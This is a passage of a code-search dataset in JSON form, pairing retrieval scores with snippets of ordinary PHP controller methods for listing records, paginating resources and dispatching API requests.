}\n\n try {\n $oInstance = $oInstanceTbl->getSingle($sSystemKey,'instance_apikey');\n } catch(\\RuntimeException $e) {\n echo 'could not find your instance sorry';\n return false;\n }\n\n try {\n $oTag = CoreController::$aCoreTables['core-tag']->select(['tag_key'=>'category']);\n $oTag = $oTag->current();\n } catch(\\RuntimeException $e) {\n echo 'could not load tag';\n return false;\n }\n\n try {\n $oEntityTag = CoreController::$aCoreTables['core-entity-tag']->select(['tag_idfs'=>$oTag->Tag_ID,'entity_form_idfs'=>'article-single','tag_value'=>'Store Item']);\n $oEntityTag = $oEntityTag->current();\n } catch(\\RuntimeException $e) {\n echo 'could not load entity tag';\n return false;\n }\n\n try {\n $oArticleTbl = CoreController::$oServiceManager->get(\\OnePlace\\Article\\Model\\ArticleTable::class);\n $oItemsDB = $oArticleTbl->fetchAll(false,['multi_tag'=>$oEntityTag->Entitytag_ID]);\n } catch(\\RuntimeException $e) {\n echo 'could not load article';\n return false;\n }\n\n try {\n $aFields = $this->getFormFields('article-single');\n $oItemsDB = $oArticleTbl->fetchAll(false,['multi_tag'=>$oEntityTag->Entitytag_ID]);\n } catch(\\RuntimeException $e) {\n echo 'could not load article';\n return false;\n }\n\n $aItems = [];\n\n if(count($oItemsDB) > 0) {\n foreach($oItemsDB as $oItem) {\n $aPublicItem = ['id'=>$oItem->getID()];\n # add all fields to item\n foreach($aFields as $oField) {\n switch($oField->type) {\n case 'multiselect':\n # get selected\n $oTags = $oItem->getMultiSelectField($oField->fieldkey);\n $aTags = [];\n foreach($oTags as $oTag) {\n $aTags[] = ['id'=>$oTag->id,'label'=>$translator->translate($oTag->text,'skeleton',$sLang)];\n }\n $aPublicItem[$oField->fieldkey] = $aTags;\n break;\n case 'select':\n # get selected\n $oTag = $oItem->getSelectField($oField->fieldkey);\n if($oTag) {\n if (property_exists($oTag, 'tag_value')) {\n $aPublicItem[$oField->fieldkey] = ['id' => $oTag->id, 'label' => $translator->translate($oTag->tag_value,'skeleton',$sLang)];\n } else {\n $aPublicItem[$oField->fieldkey] = ['id' => $oTag->getID(), 'label' => $translator->translate($oTag->getLabel(),'skeleton',$sLang)];\n }\n }\n break;\n case 'text':\n case 'date':\n case 'textarea':\n case 'currency':\n $aPublicItem[$oField->fieldkey] = $translator->translate($oItem->getTextField($oField->fieldkey),'skeleton',$sLang);\n break;\n default:\n break;\n }\n }\n $aItems[] = $aPublicItem;\n }\n }\n\n $aReturn = ['state'=>'success','message'=>'welcome '.$oInstance->getLabel(),'category'=>$oEntityTag->tag_value,'items'=>$aItems];\n echo json_encode($aReturn);\n\n return false;\n }", "title": "" }, { "docid": "fbeb130c8eeb567e7fad3c7305600c0c", "score": "0.6613973", "text": "public function index()\n {\n $this->authorize('list', Client::class);\n\n return $this->ok($this->repo->paginate($this->request->all()));\n }", "title": "" }, { "docid": "cb2a32c859addaec7f6f5ede08ff0730", "score": "0.6612859", "text": "public function index()\n {\n $responds = Respond::all();\n return RespondForListResource::collection($responds);\n }", "title": "" }, { "docid": "dd6a998d3bb458c37ae44d961b97d40b", "score": "0.6612563", "text": "public function index()\n {\n //get contacts \n $contacts = Contacts::all();\n\n //return collection of contacts as a resource\n return ContactsResource::collection($contacts);\n }", "title": "" }, { "docid": "1a54ebc6660394a2c42a760823c26a75", "score": "0.6612523", "text": "public function index()\n {\n //Get works\n $works = Work::paginate(15);\n \n //Return collection of works as a resource\n return WorkResource::collection($works);\n }", "title": "" }, { "docid": "5c88cf68eb91b67ee61edf19f3f2ae11", "score": "0.66085917", "text": "public function index()\n {\n $inven = Inventory::paginate(15);\n\n return InventoryResource::collection($inven);\n }", "title": "" }, { "docid": "a14d9338522a9ff2dff64321e93eddd2", "score": "0.6604747", "text": "public function listAction() {\n\t\t\t$this->view->assign('tags', $this->tagRepository->findAll());\n\t\t}", "title": "" }, { "docid": "1fe94a4f4bf96984fb89ede920f77850", "score": "0.66021854", "text": "public function index()\n {\n \t$listings = Listing::orderBy( 'created_at', 'desc' )->get();\n return view( '/listings',compact( 'listings' ) );\n }", "title": "" }, { "docid": "68fd86bd147479dce20ee02a8707173a", "score": "0.65925664", "text": "public function index()\n {\n //\n return CardResource::collection($this->cardRepo->getAll());\n }", "title": "" }, { "docid": "42a6f7bb31023e697bf6d8fe877d4585", "score": "0.65836954", "text": "public function index()\n {\n $items = Item::all();\n return $this->sendData('list', $items, 200);\n }", "title": "" }, { "docid": "c6efa0ee8e5b46e919fc3043bad53b51", "score": "0.6581267", "text": "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate());\n }", "title": "" }, { "docid": "28b9b7b045b952a1e51b3daabb3db025", "score": "0.65791893", "text": "function Index()\n\t\t{\n\t\t\t$this->DefaultParameters();\n//\t\t\tif (!isset($this->request->get['parent_id'])) $this->request->get['parent_id'] = '0';\n\t\t\t\r\n\t\t\t$parameters = array('num_rows');\r\n\t\t\t$this->data[$this->name] = $this->controller_model->ListItemsPaged($this->request->get, '', $parameters);\r\n\t\t\t$this->data['num_rows'] = $parameters['num_rows'];\n\t\t}", "title": "" }, { "docid": "bb496e1f3376022c7114e22d5ed48267", "score": "0.65713257", "text": "public function index()\n\t{\n\t\t$this->getItem();\n\t}", "title": "" }, { "docid": "2d21f0bc716b4c176e994f7636cae49f", "score": "0.65652716", "text": "public function index()\n {\n $branches = Branch::paginate(15);\n return BranchResource::collection($branches);\n }", "title": "" }, { "docid": "c192cad1748d0fe11000b8d2063a908e", "score": "0.6563107", "text": "public function index()\n {\n return $this->view('lists');\n }", "title": "" }, { "docid": "c4bb31a9775a0e667ef62e4f3a23aeab", "score": "0.65623397", "text": "public function listAction() {\n $this->_datatable();\n return array();\n }", "title": "" }, { "docid": "367f38d2314314134a538ae223f4cd5d", "score": "0.656151", "text": "public function index () {\n permiss ( 'user.list' );\n\n $data = $this->entity\n ->with(['role'])\n ->where('id', '<>', \\Auth::id())\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "title": "" }, { "docid": "32b26e83b4a0ac1871cecd5a10eb2445", "score": "0.6559413", "text": "public function actionList()\r\n {\r\n $option = $this->getParams();\r\n $table = $this->getTableName($option);\r\n $model = $this->model($table);\r\n\r\n $list = $model->all(\r\n function ($ar) use ($table, $model, $option) {\r\n return $model->handleActiveRecord($ar, $table, $option);\r\n },\r\n null,\r\n Yii::$app->params['use_cache']\r\n );\r\n\r\n $this->success($list);\r\n }", "title": "" }, { "docid": "25bbf4f08be5c7ace0982ed3e61db475", "score": "0.6552495", "text": "public function list()\n {\n //\n }", "title": "" }, { "docid": "25bbf4f08be5c7ace0982ed3e61db475", "score": "0.6552495", "text": "public function list()\n {\n //\n }", "title": "" }, { "docid": "04afb7d77b84ccf4a4dd5ac14fa2c226", "score": "0.6551643", "text": "public function index()\n { \n $this->paginate = [\n 'order' => ['Firms.name' => 'ASC'],\n 'maxLimit' => 20\n ];\n $firms = $this->paginate($this->Firms);\n\n $this->set(compact('firms'));\n }", "title": "" }, { "docid": "6463720c82b75c6c9ffdb8fa297632ea", "score": "0.6549483", "text": "public function index()\n\t{\n $inventaries = Inventary::orderBy('updated_at', 'desc')->paginate(12);\n return view(self::$prefixView . 'lists', compact('inventaries'));\n\t}", "title": "" }, { "docid": "7335a64fbf88651c9293fc7e0bf1a4a1", "score": "0.65460885", "text": "public function getIndex()\r\n { \r\n $response = $this->modelService->getAll();\r\n //return resources listing view\r\n return view(\\OogleeBConfig::get('config.post_index.index'), compact('response'));\r\n }", "title": "" }, { "docid": "83b5665a886532759f6d6fd3177eb43d", "score": "0.65452534", "text": "public function actionList()\n\t{\n\t\t$this->subLayout = \"@humhub/views/layouts/_sublayout\";\n\t\t$data = Desire::getAll(10);\n\t\t$articles = $data['articles'];\n\t\t$count = $data['count'];\n\n\n\n\t\treturn $this->render('list', [\n\t\t\t'articles' => $articles,\n\t\t\t'count' => $count,\n\t\t\t'ajaxUrl' => '/desire/desire/list-ajax?sort='.Yii::$app->request->get('sort'),\n\t\t]);\n\t}", "title": "" }, { "docid": "bc892b43167344bb7550a0e63635634f", "score": "0.653979", "text": "public function index()\n {\n $students = Student::all();\n return StudentResource::collection($students);\n \n }", "title": "" }, { "docid": "7bf076a0c3e59596e2f2d0bcbed69f85", "score": "0.65382135", "text": "public function index()\n {\n $artigos = Artigo::paginate(15);\n return ArtigoResource::collection($artigos);\n }", "title": "" }, { "docid": "2a2a07c1f7a2727a0de83a5fa87aabaa", "score": "0.65367275", "text": "public function index()\n {\n $books=Book::paginate(10);\n return BookResource::collection($books);\n }", "title": "" }, { "docid": "3ce1999f8313263a55f4c0a4a6d107fc", "score": "0.6526648", "text": "public function index()\n\t{\n\t\tif(!$this->permission->has_permission(\"specialization_viewall\")){\n\t\t\techo \"No permissions\";\n\t\t\treturn;\n\t\t}\n\n\t\t// Get all specialization from db\n\t\t$specialization = $this->SpecializationModel->GetAll();\n\n\t\t// Define data array\n\t\t$data = array(\n\t\t\t\"specialization_list\" => $specialization\n\t\t);\n\n\t\t// Load specialization view\n\t\t$this->layout->view('manage_details/specialization/specialization',$data);\n\t}", "title": "" }, { "docid": "68de2d9bace6b0d21d880e30663096bd", "score": "0.65253127", "text": "public function index()\n {\n return response([\n 'listas' => \\App\\Http\\Resources\\ListaResource::collection(\n Lista::where('user_id', auth()->id())->get()\n ),\n 'message' => 'Listado com sucesso.'\n ], 200);\n }", "title": "" }, { "docid": "0e0fe48e1d16e1503e2b168a9374594b", "score": "0.6524491", "text": "public function index()\n {\n $todos = $this->todo->fetchPaginated();\n\n if ($todos->count() > 0) {\n return $this->respondWithPaginatedData($todos);\n }\n return $this->respondWithNoContent();\n }", "title": "" }, { "docid": "37171947214224489a9ea88290a99d00", "score": "0.6523575", "text": "public function index()\n {\n return view(self::$prefixView.'list');\n }", "title": "" } ]
be6856ea30596b6913d8adefb92a4c89
Handle dynamic method calls into the service.
[ { "docid": "2977136bddd380e5bfc6c771749033c5", "score": "0.0", "text": "public function __call($method, $parameters)\n {\n if (in_array($method, ['get', 'getName'])) {\n return $this->$method(...$parameters);\n }\n }", "title": "" } ]
[ { "docid": "c49fbbb1dd3069265a0502830b15be2a", "score": "0.73275965", "text": "private function _handleMethodCall()\n {\n if (!isset($this->__GET['call_object'])\n || !dp_strlen($call_object = $this->__GET['call_object'])) {\n if (!isset($this->__GET['param'])) {\n $this->mrEnvironment->{$this->__GET['method']}();\n } else {\n $this->mrEnvironment->\n {$this->__GET['method']}($this->__GET['param']);\n }\n }\n else {\n if (FALSE !== ($call_object =\n $this->mrDpUniverse->findDpObject($call_object))) {\n if (isset($this->__GET['method'])\n && dp_strlen($method = $this->__GET['method'])\n && $call_object->isValidClientCall($method)) {\n if (!isset($this->__GET['param'])) {\n $call_object->{$this->__GET['method']}();\n } else {\n $call_object->{$this->__GET['method']}\n ($this->__GET['param']);\n }\n }\n }\n }\n }", "title": "" }, { "docid": "206f1dab2085f26abcf88c6d090b9ad2", "score": "0.65178204", "text": "protected function handleMethod()\n {\n $this->webservice\n ->setOption(CURLOPT_URL, $this->getUrl() . '?' . http_build_query($this->webservice->getParams()))\n ->setOption(CURLOPT_HTTPHEADER, $this->webservice->getHeaders());;\n\n if ($this->webservice->getMethod() != 'GET')\n $this->webservice\n ->setOption(CURLOPT_CUSTOMREQUEST, $this->webservice->getMethod())\n ->setOption(CURLOPT_POSTFIELDS, $this->webservice->getBody() ?: http_build_query($this->webservice->getParams()));\n }", "title": "" }, { "docid": "0cff1e781ebf1996297760f3bc643ec4", "score": "0.64935815", "text": "private function execMethod() {\r\n \r\n $methodRaw = $this->oRequest->method;\r\n $methodRaw = explode('.', $methodRaw);\r\n \r\n if ( count( $methodRaw) == 1 ) {\r\n $class = DEFAULT_SERVICE;\r\n $method= $methodRaw[0];\r\n }else {\r\n list($class, $method) = $methodRaw; \r\n }\r\n\t\t\r\n\t\t// This is needed on Unix systems. The class names are with uppercase at\r\n\t\t// the beginning but the filename of the services is with lowercase.\r\n\t\t$classfile = strtolower($class);\r\n\t\t\r\n\t\tif ( !file_exists( JPATH_COMPONENT.DS.'services'.DS.\"{$classfile}.class.php\") ) {\r\n\t\t\t$this->oResponse = errors::getInstance()->getError(CLASS_NOT_FOUND);\r\n return;\r\n\t\t}\r\n require_once (JPATH_COMPONENT.DS.'services'.DS.\"{$classfile}.class.php\");\r\n\t\t \r\n $ServerClass = new ReflectionClass($class);\r\n $service = $ServerClass->newInstanceArgs();\r\n $methodObject = $ServerClass->getMethod($method);\r\n $methodParameters = $methodObject->getParameters();\r\n\r\n try{\r\n $this->oResponse = new stdClass();\r\n $this->oResponse->jsonrpc \t= Server::JSON_RPC_VERSION;\r\n\r\n $this->oResponse->result = $methodObject->invokeArgs($service, $this->oRequest->params);\r\n }catch (Exception $e){\r\n print_r($e);\r\n $this->oResponse = errors::getInstance()->getError(INVALID_PARAMS);\r\n return;\r\n }\r\n \r\n // // Changed: flomll\r\n // $this->oResponse->jsonrpc \t= Server::JSON_RPC_VERSION;\r\n $this->oResponse->id = $this->oRequest->id;\r\n \r\n $this->isNotification = (is_null($this->oResponse->result));\r\n }", "title": "" }, { "docid": "8df8b42d0526d6c61964e00b92dbb41e", "score": "0.63848245", "text": "private function processApi() {\n\n $func = strtolower(trim(str_replace(\"/\", \"\", $_REQUEST['rquest'])));\n\n if ((int) method_exists($this, $func) > 0)\n $this->$func();\n else\n $this->response('', 404); // If the method not exist with in this class, response would be \"Page not found\".\n }", "title": "" }, { "docid": "ef0c567fff4bb35dfa818e1386ab4b41", "score": "0.6382856", "text": "public function processApi(){\n\t\t\t$func = strtolower(trim(str_replace(\"/\",\"\",$_REQUEST['/']))); // u can to pass some URL request along with the URL and make sure the variable name\n\t\t\tif((int)method_exists($this,$func) > 0)\n\t\t\t\t$this->$func();\n\t\t\telse\n\t\t\t\t$this->response('',404);\t\t\t\t// If the method not exist with in this class, response would be \"Page not found\".\n\t\t}", "title": "" }, { "docid": "ef0c567fff4bb35dfa818e1386ab4b41", "score": "0.6382856", "text": "public function processApi(){\n\t\t\t$func = strtolower(trim(str_replace(\"/\",\"\",$_REQUEST['/']))); // u can to pass some URL request along with the URL and make sure the variable name\n\t\t\tif((int)method_exists($this,$func) > 0)\n\t\t\t\t$this->$func();\n\t\t\telse\n\t\t\t\t$this->response('',404);\t\t\t\t// If the method not exist with in this class, response would be \"Page not found\".\n\t\t}", "title": "" }, { "docid": "8dea7be309e454dc6eac011324c74085", "score": "0.63772523", "text": "public function processApi(){\t\r\n\t\t$func = $this->getMethodRequestedForProcessMaker();\r\n\t\tif((int)method_exists($this,$func) > 0)\r\n\t\t\t$this->$func();\r\n\t\telse\r\n\t\t\t$this->response('',404); // If the method not exist with in this class, response would be \"Page not found\".\r\n\t}", "title": "" }, { "docid": "312b69f9b17d739129d46fce500c25c5", "score": "0.6345073", "text": "public function processApi(){\n $func = strtolower(trim(str_replace(\"/\",\"\",$_REQUEST['request'])));\n if((int)method_exists($this,$func) > 0)\n $this->$func();\n else\n $this->response('',404); // If the method not exist with in this class, response would be \"Page not found\".\n }", "title": "" }, { "docid": "475ded1ea49ab6f6f6f2383f3fe76595", "score": "0.63275075", "text": "public function processApi() {\n $func = strtolower(trim(str_replace(\"/\", \"\", $_REQUEST['request'])));\n if ((int) method_exists($this, $func) > 0)\n $this->$func();\n else\n $this->response('', 404); // If the method not exist with in this class, response would be \"Page not found\".\n }", "title": "" }, { "docid": "380d19db26f6bec441bae0dd2928905d", "score": "0.62635887", "text": "public function processApi(){\n\t\t\t$func = strtolower(trim(str_replace(\"/\",\"\",$_REQUEST['value'])));\n\t\t\tif((int)method_exists($this,$func) > 0)\n\t\t\t\t$this->$func();\n\t\t\telse\n\t\t\t\t$this->response('',404);\t\t\t\t// If the method not exist with in this class, response would be \"Page not found\".\n\t\t}", "title": "" }, { "docid": "3695762ac3c0dd89fbd76b3e34e3c5ea", "score": "0.62562406", "text": "public function processApi($method) {\n \n $func = strtolower(trim(str_replace(\"/\", \"\", $method)));\n\n if ((int) method_exists($this, $func) > 0) {\n $this->$func();\n } else {\n $this->response('', 404); // If the method not exist with in this class, response would be \"Page not found\".\n }\n }", "title": "" }, { "docid": "abba7311d257f1f1cf0c05eac1c07269", "score": "0.625398", "text": "public function processApi(){\n\t\t\t$arrayRequest = explode(\"/\", $_REQUEST['rquest']);\n\t\t\t$func = strtolower(trim($arrayRequest[1]));\n //$this->response($func,401);\n\t\t\tif((int)method_exists($this,$func) > 0){\n\t\t\t\t$this->$func();\n\t\t\t\t}\n\t\t\telse{\n\t\t\t\t$this->response('',404);\t\t\t\t// If the method not exist with in this class, response would be \"Page not found\".\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "a0a3e2e63af6068176b6752d2bc9fa1d", "score": "0.6240427", "text": "public function processApi() {\n $func = strtolower ( trim ( str_replace ( \"/\", \"\", $_REQUEST ['request'] ) ) );\n \n if (( int ) method_exists ( $this, $func ) > 0)\n \n $this->$func ();\n \n else\n \n $this->response ( '', 404 ); // If the method not exist with in this class, response would be \"Page not found\".\n }", "title": "" }, { "docid": "d491f6b3b2a2baec53be97cddca23f96", "score": "0.6237186", "text": "public function processApi(){\r\r\n\t\t\t$func = strtolower(trim(str_replace(\"/\",\"\",$_REQUEST['request'])));\r\r\n\t\t\tif((int)method_exists($this,$func) > 0)\r\r\n\t\t\t\t$this->$func();\r\r\n\t\t\telse\r\r\n\t\t\t\t$this->response('',404);\t\t\t\t// If the method not exist with in this class, response would be \"Page not found\".\r\r\n\t\t}", "title": "" }, { "docid": "7102019e1d718fcb3b112bd0d6101fbc", "score": "0.62203026", "text": "public function processApi(){\n\t\t$func = strtolower(trim(str_replace(\"/\",\"\",$_REQUEST['rquest'])));\n\t\tif((int)method_exists($this,$func) > 0)\n\t\t\t$this->$func();\n\t\telse\n\t\t\t$this->response('',404);\t\t\t\t// If the method not exist with in this class, response would be \"Page not found\".\n\t}", "title": "" }, { "docid": "60d28b417ed8d3a14685140678c684cc", "score": "0.62192196", "text": "public function __call($method, $parameters = []){\n\n //dynamic index related\n if ( starts_with($method, 'index') ){\n\n //get relation name.\n //remove 'index' prefix and lowercase first letter from $method\n $relation = lcfirst(substr($method, strlen('index')));\n\n //call $this->indexRelated\n return $this->indexRelated($relation, ...$parameters);\n }\n\n //dynamic store related\n if ( starts_with($method, 'store') ){\n\n //generate key name.\n //remove 'store' prefix and lowercase first letter from $method\n $relation = lcfirst(substr($method, strlen('store')));\n\n //call $this->storeRelated\n return $this->storeRelated($relation, ...$parameters);\n }\n\n //call user defined handler\n return $this->execute($method, ...$parameters);\n }", "title": "" }, { "docid": "825acb522e75e4cf10ab56cbc62f1f5e", "score": "0.6216707", "text": "public abstract function getMethod();", "title": "" }, { "docid": "7c93c1014e40f7d3d094922e128f2520", "score": "0.6211334", "text": "public function processApi()\n\t{\n\t\n\t\t$func = strtolower(trim(str_replace(\"/\",\"\",$_REQUEST['rquest'])));\n\t\tif((int)method_exists($this,$func) > 0)\n\t\t\t$this->$func();\n\t\telse\n\t\t\t$this->response('',404);\t\t\t\t// If the method not exist with in this class, response would be \"Page not found\".\n }", "title": "" }, { "docid": "2314e84f1a667fc16d82296c2a997f55", "score": "0.61908484", "text": "public function processApi(){\n\t\t\t$func = strtolower(trim(str_replace(\"/\",\"\",$_REQUEST['rquest'])));\n\t\t\tif((int)method_exists($this,$func) > 0)\n\t\t\t\t$this->$func();\n\t\t\telse\n\t\t\t\t$this->response('',404);\t\t\t\t// If the method not exist with in this class, response would be \"Page not found\".\n\t\t}", "title": "" }, { "docid": "2314e84f1a667fc16d82296c2a997f55", "score": "0.61908484", "text": "public function processApi(){\n\t\t\t$func = strtolower(trim(str_replace(\"/\",\"\",$_REQUEST['rquest'])));\n\t\t\tif((int)method_exists($this,$func) > 0)\n\t\t\t\t$this->$func();\n\t\t\telse\n\t\t\t\t$this->response('',404);\t\t\t\t// If the method not exist with in this class, response would be \"Page not found\".\n\t\t}", "title": "" }, { "docid": "c57830a0bc0947d1768ce79f4e8cb0dd", "score": "0.6183256", "text": "public function processApi() {\n\t\t$func = strtolower ( trim ( str_replace ( \"/\", \"\", $_REQUEST ['request'] ) ) );\n\t\t\n\t\tif (( int ) method_exists ( $this, $func ) > 0)\n\t\t\t\n\t\t\t$this->$func ();\n\t\t\n\t\telse\n\t\t\t\n\t\t\t$this->response ( '', 404 ); // If the method not exist with in this class, response would be \"Page not found\".\n\t}", "title": "" }, { "docid": "50c06305c66f46c670c965d33f9a3cad", "score": "0.61641717", "text": "function __call($method, $params){\n\n\t\tif(preg_match(\"/get(.*)/i\",$method,$preg))\n\t\t\treturn $this->getFiled(strtolower($preg[1]));\n\t\telseif(preg_match(\"/set(.*)/i\",$method,$preg))\n\t\t\treturn $this->setFiled(strtolower($preg[1]),$params[0]);\n\t\telseif(preg_match(\"/findBy(.*)/i\",$method,$preg))\n\t\t\treturn $this->findFiled(strtolower($preg[1]),$params[0]);\n\t}", "title": "" }, { "docid": "22a103ff43e83b8e87aa00bee9c9e1c1", "score": "0.6146684", "text": "abstract public function __call($method, $args);", "title": "" }, { "docid": "db24707c7a5c9c58b6d59e784efa9ab4", "score": "0.6115401", "text": "public function processApi()\n{\n\t$func = strtolower(trim(str_replace(\"/\",\"\",$_REQUEST['rquest'])));\n\tif((int)method_exists($this,$func) > 0)\n\t\t$this->$func();\n\telse\n\t\t$this->response('',404); \n\t// If the method not exist with in this class, response would be \"Page not found\".\n}", "title": "" }, { "docid": "501986923264b7f2413a064d6c8eacdb", "score": "0.60901976", "text": "public function __call($method, $parameters);", "title": "" }, { "docid": "501986923264b7f2413a064d6c8eacdb", "score": "0.60901976", "text": "public function __call($method, $parameters);", "title": "" }, { "docid": "18533426c80b6a59ec25c5f557892258", "score": "0.60872144", "text": "private function _callControllerMethod() {\n\t\t\n\t\t$length = count($this->_url);\n\t\t\n\t\t// Make sure the method we are calling exists\n\t\tif ($length > 1){\n\t\t\tif (!method_exists($this->_controller, $this->_url[1])) {\n\t\t\t\t$this->_error();\n\t\t\t}\n\t\t}\n\t\t\n\t\tswitch ($length) {\n\t\t\tcase 5:\n\t\t\t\t//Controller->Method(Param1, Param2, Param3)\n\t\t\t\t$this->_controller->{$this->_url[1]}($this->_url[2], $this->_url[3], $this->_url[4]);\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tcase 4:\n\t\t\t\t//Controller->Method(Param1, Param2)\n\t\t\t\t$this->_controller->{$this->_url[1]}($this->_url[2], $this->_url[3]);\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tcase 3:\n\t\t\t\t//Controller->Method(Param1, Param2)\n\t\t\t\t$this->_controller->{$this->_url[1]}($this->_url[2]);\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tcase 2:\n\t\t\t\t//Controller->Method(Param1, Param2)\n\t\t\t\t$this->_controller->{$this->_url[1]}();\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tdefault:\n\t\t\t\t$this->_controller->index();\n\t\t\t\tbreak;\n\t\t}\n\t}", "title": "" }, { "docid": "39f2823c9d2ea03643173efba34fed87", "score": "0.60794246", "text": "public function execute() {\n if($this->log_flag) $this->log();\n\n $args = func_get_args();\n $method = array_shift($args);\n\t if(!method_exists($this, $method)) {\n\t Y::errors(404, 'can\\'t found the ' . ' ' . $this . ' class has ' . $method . '() method !');\n\t }\n\t $this->actionName = $method;\n return call_user_func_array([$this, $this->actionName], $args);\n }", "title": "" }, { "docid": "54222a185602610887fc5387d7a19d3c", "score": "0.60681874", "text": "public function processApi() {\n $func = strtolower(trim(str_replace(\"/\", \"\", $_REQUEST['rquest'])));\n //echo $func;exit;\n if ((int) method_exists($this, $func) > 0)\n $this->$func();\n else\n $this->json(array(\"messgae\" => \"You cann't access filocity \"));\n // If the method not exist with in this class, response would be \"you cannt access filocity\".\n }", "title": "" }, { "docid": "5d6c497760bca6318d00e72aacbbc14d", "score": "0.6059317", "text": "public function routeMethod() {\n \n $functionName = $this->apiConfig->endpoint;\n $handler = array($this, $functionName);\n \n $response = array();\n if ( is_callable($handler) ) {\n $response['content_type'] = $this->apiConfig->contentType;\n $response['data'] = call_user_func_array($handler, array());\n $response['status'] = 200;\n return $response;\n }\n $response['content_type'] = $this->apiConfig->contentType;\n $response['data'] = 'Unknown request: ' .$functionName;\n $response['status'] = 404;\n return $response;\n }", "title": "" }, { "docid": "8c815d4438c2e0bd22c1aa51ea4d5ba8", "score": "0.60358596", "text": "public function processApi(){\n\t\t\t$func = strtolower(trim(str_replace(\"/\",\"\",$_REQUEST['x'])));\n\t\t\tif((int)method_exists($this,$func) > 0)\n\t\t\t\t$this->$func();\n\t\t\telse\n\t\t\t\t$this->response('',404); // If the method not exist with in this class \"Page not found\".\n\t\t}", "title": "" }, { "docid": "23def933a2adde2c68d2b5f77fbd5c75", "score": "0.60331345", "text": "public function processApi(){\n\t\t$func = strtolower( trim( str_replace(\"/\", \"\", $_REQUEST['x']) ) );\n\n\t\tif( (int)method_exists($this, $func) > 0 )\n\t\t\t$this->$func();\n\t\telse\n\t\t\t$this->response('',404); // If the method not exist with in this class \"Page not found\".\n\t}", "title": "" }, { "docid": "91e087c79a8843facc8c62701b232e42", "score": "0.6021855", "text": "public function processApi(){\r\n\t\t\t$func = strtolower(trim(str_replace(\"/\",\"\",$_REQUEST['x'])));\r\n\t\t\tif((int)method_exists($this,$func) > 0)\r\n\t\t\t\t$this->$func();\r\n\t\t\telse\r\n\t\t\t\t$this->response('',404); // If the method not exist with in this class \"Page not found\".\r\n\t\t}", "title": "" }, { "docid": "77847f3d94ea699d004e2295335fb89f", "score": "0.5999059", "text": "public function getMethod(){ }", "title": "" }, { "docid": "5a381dd4120c9e806c8d15bb56fc72aa", "score": "0.5998527", "text": "public function processApi()\n {\n if (isset($_REQUEST['x']) && $_REQUEST['x'] != \"\") {\n $func = strtolower(trim(str_replace(\"/\", \"\", $_REQUEST['x'])));\n if ((int)method_exists($this, $func) > 0) {\n $this->$func();\n } else {\n echo 'processApi - method not exists';\n exit;\n }\n } else {\n echo 'processApi - method not exists';\n exit;\n }\n }", "title": "" }, { "docid": "e6f2270979560aa2c43ab25400e00dd2", "score": "0.59954417", "text": "public function getMethod() {}", "title": "" }, { "docid": "e6f2270979560aa2c43ab25400e00dd2", "score": "0.599298", "text": "public function getMethod() {}", "title": "" }, { "docid": "e6d6f1ab0b124fe8b8097481573a4663", "score": "0.5976978", "text": "public function processApi(){\n\t\t\t$func = strtolower(trim(str_replace(\"/\",\"\",$_REQUEST['x'])));\n\t\t\tif((int)method_exists($this,$func) > 0)\n\t\t\t\t$this->$func();\n\t\t\telse\n\t\t\t\t$this->response('',404); // If the method does not exist within this class return \"Page not found\".\n\t\t}", "title": "" }, { "docid": "f840bfec85f8c53ec214614b80e337a5", "score": "0.5972588", "text": "public function call_method() {\n $this->action_filter('before_filter');\n\n if (method_exists($this->controller, 'remap')) {\n $this->method = 'remap';\n }\n else {\n // is_callable() returns TRUE on some versions of PHP 5 for private and protected\n // methods, so we'll use this workaround for consistent behavior\n if ( ! in_array(strtolower($this->method), $this->class_methods)) {\n if (method_exists($this->controller, 'missing')) {\n $this->method = 'missing';\n }\n else {\n $this->reform_override_404();\n }\n }\n }\n\n call_user_func_array(array($this->controller, $this->method), array_slice($this->uri->rsegment_array(), 2));\n }", "title": "" }, { "docid": "fd2aaccda66ed0f246cf572c148317cf", "score": "0.5972512", "text": "protected function preInvoke()\n {\n // optionally implement in concrete service\n }", "title": "" }, { "docid": "5589cc9a42e312f0bf903ba686c9e053", "score": "0.59686875", "text": "public function run() {\n call_user_func_array([$this->_class, $this->_method], $this->_params);\n }", "title": "" }, { "docid": "c375295bda08ca6a5d026f86f7979515", "score": "0.5964759", "text": "public function processApi(){\r\n\r\n\r\n $urlParts = parse_url($_SERVER['REQUEST_URI']);\r\n\r\n parse_str($urlParts['query'], $query);\r\n $this->data=array('param1'=> $query['id']);\r\n\r\n parse_str($urlParts['path'], $path);\r\n\r\n $func=key($path); //yol bilgisi $path ilintili dizisi içerisinde anahtar olarak bulunuyor\r\n\r\n $func=explode(\"/\",$func);\r\n $func=end($func);\r\n\r\n $this->$func();\r\n\t\t\t//else\r\n\t\t\t//\t$this->response('',404);\t\t\t\t// If the method not exist with in this class, response would be \"Page not found\".\r\n\t\t}", "title": "" }, { "docid": "0fdee3176ab6fbe13d9f1c4dc9b3426b", "score": "0.59640616", "text": "public function handleMethod($request) {\n parent::handleMethod($request);\n return 'doProcess';\n }", "title": "" }, { "docid": "f7c3d5d5795292221c72ab1e6e9ec6a2", "score": "0.5963322", "text": "function call__($method, $params) {\n\t\tif (method_exists($this->{$this->_backEndClassName}, $method)) {\n\t\t\treturn $this->{$this->_backEndClassName}->dispatchMethod($method, $params);\n\t\t}\n\t}", "title": "" }, { "docid": "9cc919f085066af1f69b971fc07ee0d5", "score": "0.59345573", "text": "function __call($method,$params) {\n\t\t\tif($this->gateway) {\n\t\t\t\tif(method_exists($this->gateway,$method)) {\n\t\t\t\t\t// Call\n\t\t\t\t\treturn call_user_func_array(array($this->gateway,$method),$params);\n\t\t\t\t}\t\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "2fc48f9df4ba0aa6f961bd1a0254dd51", "score": "0.5931356", "text": "public abstract function handle($params);", "title": "" }, { "docid": "c2c115ceeeb365f206413afd5e82d4df", "score": "0.591135", "text": "private function invokeCustomMethod($methodName)\n {\n if (!$this->handler) {\n throw new \\Exception(\"Cannot invoke custom method '$methodName' - no handler defined\");\n }\n\n $method = new \\ReflectionMethod($this->handler, $methodName);\n $params = $method->getParameters();\n $args\t= array();\n\n // Loop through method parameters and get each param value from the params in the request\n foreach ($params as $param) {\n $name = $param->getName();\n\n // Get parameter value from request if present\n if 